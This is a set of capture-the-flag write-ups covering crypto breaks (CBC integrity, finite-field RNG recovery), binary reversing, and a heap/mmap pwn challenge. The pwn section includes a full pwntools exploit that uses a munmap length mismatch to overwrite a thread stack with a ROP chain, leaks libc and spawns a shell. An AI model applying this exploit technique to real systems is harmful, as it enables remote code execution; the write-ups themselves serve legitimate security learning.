These challenges were solved by and the writeups were written by one of my teammates, @ngg.

Integrity

There was an encryption scheme, we had to calculate encrypt(‘admin’) based on that we could encrypt anything other than the string ‘admin’.

The scheme looked like this:

encrypt(name) = iv + aescbc(key, iv, plaintext = (md5(pkcs7pad(name)) + pkcs7pad(name)))

md5 length is exactly a block size, so

pkcs7pad(md5(pkcs7pad(name)) + name) = md5(pkcs7pad(name)) + pkcs7pad(name)

This means that

encrypt(md5(pkcs7pad('admin')) + 'admin') = iv + aescbc(key, iv, md5(...) + md5(pkcs7pad(name)) + pkcs7pad(name))

If we cut the first block out from this then the rest is exactly encrypt('admin') with the iv set to md5(...).

Sending this to the server gave me

flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}

OneTimePad1 && OneTimePad2

Both tasks were about breaking a random generator. The hardest part was to understand the ideas and math based on the given python codes.

They were based on finite field arithmetics of GF(2)[x]/P(x).

If you do not know what I’m talking about then visit https://en.wikipedia.org/wiki/Finite_field_arithmetic first.

  • For OneTimePad1 P(x) = x**256 + x**10 + x**5 + x**2 + 1, which meant that the field is GF(2**256) because P(x) is irreducible over GF(2).
  • For OneTimePad2 P(x) = x**128 + x**7 + x**2 + x + 1, which is the standard GCM polynomial (the field is GF(2**128)).

  • In OneTimePad1 the process(m, k) function did the math, it calculated (m+k)**2 where m and k are field elements.
  • In OneTimePad2 the two helper functions were process1(m, k) calculated m*k where m and k are field elements and process2(a, b) calculated a*b where a and b are 2x2 matrices over this field.

In both problems the random generated worked like the following pseudo-python code:

def rng():
	next = urandom(32 if OneTimePad1 else 16)
	seed = urandom(32 if OneTimePad1 else 16)
	while True:
		yield next
		next, seed = calculate(next, seed)

OneTimePad1

In OneTimePad1 the calculate function returned (process(next, seed), seed) and the flag and two known strings were one time pad encrypted with its first 3 outputs respectively. Based on the second and third encrypted string we knew the second and third generated random numbers (r2 and r3), we had to calculate the first (r1).

r3 = process(r2, seed) = (r2+seed)**2, this means that seed = sqrt(r3)+r2.

Calculating square roots over binary fields are easy because squaring is a linear function. (This might seem strange, but (x+y)**2 = x**2 + 2*x*y + y**2 = x**2 + y**2 so it’s really linear).

Being linear means that there exists a matrix S such that x**2 = x*S for every x.

Calculating S is straightforward, it happens to be invertible so we can calculate square roots as well (every field element has exactly 1 square root).

We now know seed and we also know that r1 = sqrt(r2)+seed so we can decrypt the flag:

flag{t0_B3_r4ndoM_en0Ugh_1s_nec3s5arY}

OneTimePad2

In OneTimePad2 the calculate function was more complicated.

A and B were two known constants, the function calculated M = [[A,B],[0,1]]**seed and returned M[0][0]*next + M[0][1] and it also changed seed to seed**2.

We can see by induction that [[A,B],[0,1]]**seed = [[A**seed, B*(1+A+A**2+...+A**(seed-1))],[0,1]] = [[A**seed, B*(A**seed - 1)/(A - 1)],[0,1]].

One time pad was used here as well but know we knew the first 4 plaintexts and we had to calculate the following ones. r2 = A**seed * r1 + B*(A**seed - 1)/(A-1)

To get seed from this we first calculated A**seed as ((A-1)*r2 + B)/((A-1)*r1 + B) and then had to calculate the discrete logarithm seed = Log(A, A**seed).

This last part was the hardest for me as I couldn’t get Sage to solve it (I tried in lots of different ways but it always threw NotImplementedExceptions…).

After the competition I’ve read hellman’s writeup, he found a way to do this in Sage.

I knew that Mathematica cannot do this either, so I had no better idea than to look for any implementation on the web and read articles on how solve this if I have to implement my own.

Fortunately I found some promising references in Magma’s documentation and I could solve this with the free online version at http://magma.maths.usyd.edu.au/calc/ with the following script:

K<x> := GF(2,128); # this automatically uses the standard GCM polynomial for modulus
A := x^127 + x^126 + x^122 + x^121 + x^119 + x^117 + x^114 + x^112 + x^110 + x^109 + x^108 + x^106 + x^105 + x^104 + x^102 + x^101 + x^100 + x^99 + x^98 + x^97 + x^96 + x^94 + x^91 + x^90 + x^88 + x^87 + x^86 + x^82 + x^81 + x^77 + x^76 + x^75 + x^72 + x^71 + x^70 + x^68 + x^66 + x^65 + x^64 + x^63 + x^62 + x^60 + x^56 + x^55 + x^53 + x^50 + x^48 + x^43 + x^42 + x^40 + x^38 + x^37 + x^34 + x^32 + x^29 + x^24 + x^23 + x^22 + x^21 + x^18 + x^17 + x^16 + x^15 + x^12 + x^11 + x^9 + x^8 + x^7 + x^6 + x^5 + x^4 + x^3 + x^2 + 1;
An := x^123 + x^117 + x^116 + x^114 + x^113 + x^112 + x^110 + x^109 + x^108 + x^107 + x^104 + x^99 + x^98 + x^97 + x^95 + x^93 + x^91 + x^89 + x^87 + x^84 + x^83 + x^82 + x^81 + x^80 + x^78 + x^74 + x^69 + x^68 + x^66 + x^62 + x^57 + x^53 + x^52 + x^51 + x^45 + x^43 + x^42 + x^41 + x^38 + x^37 + x^35 + x^33 + x^32 + x^31 + x^30 + x^29 + x^28 + x^25 + x^22 + x^19 + x^18 + x^17 + x^15 + x^14 + x^13 + x^12 + x^10 + x^8 + x^5 + x^2 + 1;
Log(A, An);

After this we knew r1 and seed, so I just modified the original code to use these and to encrypt the ciphertext instead (one time pad is an involution).

This gave me

flag{LCG1sN3ver5aFe!!}

This challenge was solved by one of my teammates, vek and me, and the writeup was written by vek.

The Choices binary was bascially a giant switch case in a loop and the executed cases were determined by the user’s input at each iteration.

Based on the user inputs, the binary generated a 56-byte flag from an array of constants that’s the same size. What we needed to figure out is the order in which the switch cases needed to be executed. The flag was compared to the correct flag’s hash at the end, so we would know when we’re right.

The binary was compiled with the clang plugin lib0opspass.so. After reversing the library, we found that it took the original program’s basic blocks and turned them into individual cases of the giant switch statement. The user input for a corresponding switch case was generated by a scramble32 function from the BBs’ ID.

scramble32 used a key generated from a constant seed BAADF00DCAFEBABE3043544620170318 to scramble the BB IDs, but it didn’t change the scrambler’s internal state, so a given (key, ID) pair always gives the same scrambled output. This means that we only had to extract the key and use it to call scramble32() on the first few integers to get the correct input for each BB.

The key could be extracted by running the supplied compilation command on a dummy source in gdb and breaking right before a call to scramble32(). After this, we could extract the scrambling code and write a C program that generated the scrambled version of the numbers from 0 to 1000. It seemed that the number for 0, 1, 2, etc. all matched a possible user input in the binary, so we found the IDs of all the original basic blocks! We still didn’t know the original control flow graph from this, but we assumed that each BB followed one with one smaller ID, so we ran:

cat numbers.txt | ./Choices

And it gave us the flag, so it turned out we were right!

flag{wHy_d1D_you_Gen3R47e_cas3_c0nst_v4lUE_in_7h15_way?}

After reversing the binary it turned out the structure of the challenge is the usual menu system based pwn challenge.

We had the following menus:

  • “1 :) Fill your information”
    • It reads your team name to a 20 byte buffer and prints it out. It can be used to leak data from stack if you don’t fill the 20 byte buffer. For example it can be used to leak the heap base address. But we never used this vulnerability in the final exploit.
  • “2 :) Upload and parse File”
    • This is where the main functionality lies: you can upload a zlib-compressed PNG image, it will parse its headers, allocate a width*height-sized buffer with mmap, and copies the content into it (but limits the size to the buffer length, so it does not cause overflow). It also puts various metadata into a linked list about these uploaded files, including the decompressed content’s size.
  • “3 :) Show File info”
    • Prints out the width, height and “pixels” (bit depth) properties of the chosen file. Not used in the exploit.
  • “4 :) Delete File”
    • Deletes a selected file. Munmaps its content (based on the decompressed content’s length), frees it’s metadata and unlinks the item from the linked list. We will use the munmap in the exploit.
  • “5 :) Commit task”
    • Creates a thread which prints out every file’s width, height, bit depth. You can only call this method six times. Not used in the exploit, probably just a red herring :)
  • “6 :) Monitor File”
    • Create a thread which notifies you if a new file was uploaded. It uses a conditional variable (and mutex) to block until the main thread notifies it.
  • 8 - a hidden “backdoor”
    • It’s a gets-based stack overflow, but exits immediately after it overwrites the stack. Although the deinitialization logic runs in the exit call, the stack overflow is still not exploitable this way. It’s obviously there just for misleading us.

There are a few misleading / non-exploitable functionality (including the whole PNG parsing), but there is something fishy going on with the content length calculation when it allocates the buffer based on the width and height instead of the decompressed content length.

Also despite that the PNG is a compressed file format, there is an additional layer of compression which is a hint about that we may have to send a lot of data. As we will see later, our hunch was not unfounded.

If we take a closer look at the buffer allocation, it turns out fast that the allocation size and the length used for munmap can differ.

This is exactly the same situation that my teammate tukan described in one of his ptmalloc fanzine back in 2016, so he could point us into the correct direction right away.

Although the next mapped memory segment after our mmap’d allocation is either the read-only data section of the libc or the guard page before the stack of a thread created by either the 5th or 6th menu item, the munmap can remove them if we use a bigger length than the original allocation was.

So our plan is the following:

  • create a long-running thread (with 6th menu item), which will mmap a thread stack (the size is architecture dependent, but was 8MB on x64).
  • the thread waits for the condition variable until we upload a new file
  • upload a file whose decompressed length is bigger than the allocation size, so munmap will remove the following mmap’d segment too
    • I used the following values: width = 1024, height = 1024, width * height = 1MB, decompressed length = 9MB (1MB my content + 8MB overflow into the thread’s stack)
  • delete this file with the 4th menu item
    • although the thread’s stack is unmapped, the thread won’t wake up, so this won’t cause any problem (segmentation fault for example)
  • upload a new, fake thread stack (8MB), and putting a ROP chain in the place of the original stack where the execution returns
    • we also have to restore a few variables (like mutex and cond) so the waking up thread won’t crash immediately or behave incorrectly
  • the ROP chain does the following:
    • leaks libc address (puts in our case)
    • unlocks the mutex, so the main thread won’t block anymore
    • make the thread sleep forever, so its broken state won’t cause any problems for us (for example race condition)
  • we calculate the address of one of the one-gadget-RCEs (thanks to david942j for his tool)
    • calling system did not work for me, probably something broke meanwhile
  • we repeat everything from the beginning, but this time we call the one-gadget-RCE in the ROP chain

Executing our plan actually worked and give us a shell.

We found the flag in the /home/uploadcenter/flag file:

flag{M3ybe_Th1s_1s_d1ffer3nt_UAF_Y0U_F1rst_S33n}

Below the whole exploit:

#!/usr/bin/env python2
from pwn import *
import time
import zlib

REMOTE = True

def readMenu():
    print '\n'.join([' < '+x for x in p.recvuntil('1 :) Fill your information', drop=True).strip().split('\n')])
    p.recvuntil('6 :) Monitor File\n')

skipReadMenu = False
    
def cmd(cmdIdx):
    global skipReadMenu
    if skipReadMenu:
        skipReadMenu = False
    else:
        readMenu()
    print '> cmd: %d' % cmdIdx
    p.sendline(str(cmdIdx))
    
def fillInfo(teamName, memberCount):
    cmd(1)
    p.sendlineafter('Your team name : ', teamName)
    p.sendlineafter('Member count : ', str(memberCount))
    
def upload(data):
    cmd(2)
    p.send(p32(len(data)))
    p.send(data)
    
def showFileInfo(fileId):
    cmd(3)
    p.sendlineafter('which file you want to show ?', str(fileId))

def delete(fileId):
    cmd(4)
    p.sendlineafter('which file you want to delete ?', str(fileId))
    
def commitTask():
    cmd(5)
    
def monitorFile():
    cmd(6)

def genPngEx(width, height, colorType, bitDepth, chunks):
    # must be zero, otherwise won't parse png
    comprMethod = 0
    filterMethod = 0
    interlaceMethod = 0

    ihdrLen = 13 # not checked
    with context.local(endian='big'):
        res = '\x89PNG\r\n\x1A\n' + p32(ihdrLen) + 'IHDR' + p32(width) + p32(height) +\
            chr(bitDepth) + chr(colorType) + chr(comprMethod) + chr(filterMethod) + chr(interlaceMethod) + 'A'*4 # crc
        
        for chunk in chunks:
            res += p32(chunk['size']) + 'IDAT' + chunk['data'] + 'A'*4 # crc
            
        res += p32(0) + 'IEND' + 'A'*4 # crc
    
    return res
    
def genPng(width, height, chunks):
    return genPngEx(width, height, 2, 8, [{'size': len(x), 'data': x} for x in chunks])

if REMOTE:
    p = remote("202.120.7.216", 12345)
else:
    p = process('./uploadcenter')
    time.sleep(1)

mutex = 0x60E160
cond = 0x60E1A0
popRdiRet = 0x4038B1
puts = 0x400AF0
gotPuts = 0x60E028
sleep = 0x400C30
mutexUnlock = 0x400BB0

def rop(ropchain, stage2):
    global skipReadMenu
    
    monitorFile()
    p.recvuntil('I will remind you')
    skipReadMenu = True

    delSize = 9*1024*1024# - 8*4096
    print 'delete size = %d' % delSize
    png = genPng(1024, 1024, ['A'*(delSize)])
    print 'payload length = %d' % len(png)
    upload(zlib.compress(png))

    p.recvuntil('New file uploaded, Please check')
    skipReadMenu = True

    delete(1 if stage2 else 0)
    split = 4393

    readMenu()
    skipReadMenu = True

    payload = 'C'*8 + p64(cond) + p64(mutex) + 'F'*8 + 'G'*8 + ropchain + '\0'*(split-8*5-len(ropchain))
    upload(zlib.compress(genPng(8*1024, 1024, ['A'*(8*1024*1024-split) + payload])))

ropchain = \
    p64(popRdiRet) + p64(gotPuts) + p64(puts) +\
    p64(popRdiRet) + p64(mutex) + p64(mutexUnlock) +\
    p64(popRdiRet) + p64(60) + p64(sleep)

rop(ropchain, False)
    
p.recvuntil('byte data\n')
gotLeak = p.recvline()
print 'gotLeak = %r' % gotLeak
if gotLeak.startswith('1 :) Fill your'):
    p.recvuntil('6 :) Monitor File\n')
    gotLeak = p.recvline()

print 'gotLeak = %r' % gotLeak
putsLibc = u64(gotLeak.strip().ljust(8, '\0'))
print 'putsLibc = %016x' % putsLibc

if REMOTE:
    p.sendline('')
    libcBase = putsLibc - 0x7ffff787f990 + 0x7ffff7814000
    oneGadget = libcBase + 0x41374
else:
    system = putsLibc - 0x7ffff7860690 + 0x7ffff7836390 # local ubuntu
    libcBase = putsLibc - 0x7ffff7860690 + 0x7ffff77f1000 # local ubuntu
    oneGadget = libcBase + 0x4526a # local ubuntu

rop(p64(oneGadget), True)

p.interactive()

I opened the webpage from the challenge description: https://52.196.116.69/index.php which resulted in Chrome showing SSL cert error: NET::ERR_CERT_AUTHORITY_INVALID.

I checked the CN of the SSL cert which was: very-secret-area-for-ctf.orange.tw so I created the following entry in my host file:

52.196.116.69 very-secret-area-for-ctf.orange.tw

Then I opened the https://very-secret-area-for-ctf.orange.tw/ URL, which gave me the flag:

hitcon{hihihi, how 4re y0u today?}

While reversing the code it became clear that the most part of the code are for handling BigInteger operations.

The only interestring structure is this, it contains the current digit count of the BigInteger and the digits as dwords (one dword contains one digit 0-9):

00000000 BigInteger      struc ; (sizeof=0x404, mappedto_14)
00000000 length          dd ?
00000004 items           dd 256 dup(?)
00000404 BigInteger      ends

The functions were pretty trivial after finding what’s going on, there were basic BigInteger methods like Add, Subtract, Multiply, Modulo, Remainder, ModPow, GCD, comparisons (Eq, Neq), etc.

The only weird one (0xBDB) was the one which calculated this: (x ** (n!)) % N. (x and n are parameters the function and N is a global constant modulus).

After finished reversing these methods, only main remained which does the following:

  • converts N to BigInteger format
    • N = 70175232617155622721369403112218008731727137018442195462238305570433409024579, it can be factorized into (I used factordb.com):
    • p = 208467877680031083617459630285634936973 and
    • q = 336623720633184311690592367893275345423
  • calls srand(33177711) and generates 256 rand() numbers and converts them to BigInteger
  • runs the following loop:
for(flagCounter = 1; ; flagCounter++){
   vec6 = (rand[0] ** (flagCounter!)) - 1;
   for(j = 1; j <= 255; ++j){
       vec6 = gcd(vec6, (rand[j] ** (flagCounter!)) - 1);
       if(vec6 == 1) 
            break;
   }
   
   if(vec6 != 1)
       break;
}

printf("flag is: hitcon{%lx%016lx}\n", *((_QWORD *)&flagCounter + 1), (_QWORD)flagCounter);

Of course it will never finish as it would take too long time.

So I asked my cryptopal (@ngg) how to solve this and he said, let’s get the factors of (p-1)*(q-1) and probably the largest one will the flag.

These were the factors:

2^3 * 3 * 13 * 17 * 19^2 * 20543 * 692191 * 735733 * 12243443 * 
3981441750675421269733 * 71865286827970831870811761

So I tried to submit: hitcon{3b72110158a74799635e71} (71865286827970831870811761 = 0x3b72110158a74799635e71) which was not the correct flag :(

Then I tried the second largest factor (3981441750675421269733) which gave us the correct flag:

hitcon{d7d59a91a825da0ee5}